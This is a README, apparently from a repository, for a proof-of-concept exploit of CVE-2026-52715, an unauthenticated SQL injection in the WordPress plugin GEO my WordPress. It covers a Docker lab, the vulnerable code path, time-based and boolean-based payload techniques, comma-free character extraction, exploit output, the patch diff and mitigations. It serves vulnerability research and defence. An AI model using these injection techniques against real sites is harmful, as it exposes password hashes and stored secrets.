PoC fonctionnel de CVE-2026-52715 (GeoLeak): SQLi non authentifiée dans GEO my WordPress <= 4.5.5 via swlatlng/nelatlng. Laboratoire Docker + exploit time-based/boolean-based + exfiltration sans virgules dans le payload.
Preuve de concept éducative de GeoLeak (CVE-2026-52715), injection SQL non authentifiée (CVSS 9.3) dans le plugin GEO my WordPress <= 4.5.5 pour WordPress. Les paramètres
swlatlngetnelatlngdes limites de la carte sont interpolés sans assainissement dans la clause WHERE. Laboratoire Docker autonome + exploit avec techniques time-based, boolean-based et exfiltration caractère par caractère.
CVE-2026-52715 est une injection SQL (CWE-89) dans la fonction du plugin GEO my WordPress, qui affecte toutes les versions et est corrigée depuis la (15 juin 2026). Elle a été découverte par le chercheur et publiée via Patchstack.
gmw_get_locations_within_boundaries_sql()La chaîne baptisée GeoLeak démontre comment, en partant uniquement d'un accès en lecture à n'importe quelle page publique contenant le shortcode [gmw], un attaquant peut :
swlatlng (ou nelatlng) de la chaîne de requête, sans cookies, sans nonce et sans authentification.SLEEP() (time-based blind) évalué pour chaque ligne de l'INNER JOIN avec wp_gmw_locations."total_results":N que le plugin lui-même intègre dans le JSON de configuration de la carte pour déduire des conditions booléennes (boolean-based blind).explode(',', ...)), à l'aide de CASE WHEN et de SUBSTRING(x FROM n FOR 1).Le résultat est une lecture arbitraire de la base de données WordPress : table wp_users (hashes de mots de passe), options de configuration, clés et données tierces stockées dans les plugins.
Dans la PoC, l'extraction complète de VERSION() de MariaDB est vérifiée uniquement avec des requêtes GET.
Ce dépôt contient du matériel strictement éducatif et défensif.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl et awk pour l'exploitdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
Paramètres configurables de l'exploit :
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
Accès à WordPress : http://localhost:3080 avec admin/admin. La page contenant le formulaire vulnérable est http://localhost:3080/?page_id=5.
Remarque : la ligne seed dans
wp_gmw_locationsest indispensable. La requête utilise un INNER JOIN contre cette table : sans lignes, le WHERE injecté n'est pas évalué etSLEEP()ne dort pas.
Sortie réelle de la dernière exécution contre le laboratoire (14 août 2026) :
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
Vérification croisée directement contre la base de données :
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
Contre la version corrigée (>= 4.5.5.1), la phase time-based répond en millisecondes et la PoC se termine avec [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).
Détail complet, avec les extraits de code et les lignes exactes, dans docs/analisis-tecnico.md. Points clés :
gmw_get_locations_within_boundaries_sql() interpole {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} directement dans le WHERE (les quatre points sont injectables).gmw_get_form_values() traite la chaîne de requête complète avec parse_str() sans liste autorisée.explode(',', $southwest). La PoC utilise CASE WHEN a THEN b ELSE c END au lieu de IF(a,b,c) et SUBSTRING(x FROM n FOR 1) au lieu de SUBSTRING(x,n,1)."total_results":N ; l'exploit calibre la plage de longueur (-10..1) pour que la ligne seed survive lorsque la condition est vraie.wp_posts.* plus les champs gmw) ; error-based non pratique (wpdb masque les erreurs).wp_ajax_nopriv_* du plugin soit n'exécutent pas de SQL (version gratuite), soit sont protégés par nonce. Le vecteur de la CVE dans la version gratuite est le GET du formulaire.Diff réel complet dans docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Entre 4.5.5 et 4.5.5.1, seuls trois fichiers diffèrent (geo-my-wp.php de version, readme.txt de changelog et includes/gmw-functions.php) :
gmw_parse_latlng_boundary() : exige exactement 2 parties numériques finies avec |lat| <= 90 et |lng| <= 180.gmw_get_form_values() écarte avec unset() les valeurs qui ne valident pas.$wpdb->prepare() et des marqueurs %f.Version actuelle du plugin : 4.5.5.3 (juillet 2026), corrigée.
swlatlng/nelatlng, ou virtual patching (Patchstack et similaires).[gmw] publics ont besoin de la recherche par limites de carte.swlatlng/nelatlng anormaux dans les journaux.wp_users, l'injection permettant de les lire.